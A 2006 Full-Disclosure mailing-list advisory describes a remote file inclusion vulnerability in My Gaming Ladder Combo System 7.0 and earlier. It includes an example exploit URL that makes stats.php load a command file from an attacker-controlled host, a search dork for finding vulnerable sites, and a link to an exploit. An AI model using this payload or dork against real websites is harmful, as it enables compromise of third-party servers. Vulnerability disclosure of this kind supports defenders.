[Full-disclosure] Advisory: My Gaming Ladder Combo System <= 7.0 Remote File Inclusion Vulnerability.

–Security Report–
Advisory: My Gaming Ladder Combo System <= 7.0 Remote File Inclusion
Vulnerability.

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 22/04/06 13:37 PM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: MyGamingLadder (http://www.mygamingladder.com/&#41;
Version: 7.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to My
Gaming Ladder Combo System.
Level: Highly Critical

How&Example:
Succesful exploitation needs allow_url_fopen set to 1 and register_globals on
GET -> http://[victim]/[LadderPath]/stats.php?dir[func]=&dir[base]=[FILE]
EXAMPLE ->

http://[victim]/[LadderPath]/stats.php?dir[func]=&dir[base]=http://yourhost.com/cmd.txt?

Timeline:

• 22/04/2006: Vulnerability found.
• 22/04/2006: Contacted with vendor and waiting reply.

Exploit:
http://www.nukedx.com/?getxpl=28

Dorks: "Ladder Scripts by http://www.mygamingladder.com"

Credits: zipitcs , str0ke , RootShell Security Team and all my friends

Original advisory can be found at: http://www.nukedx.com/?viewdoc=28

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/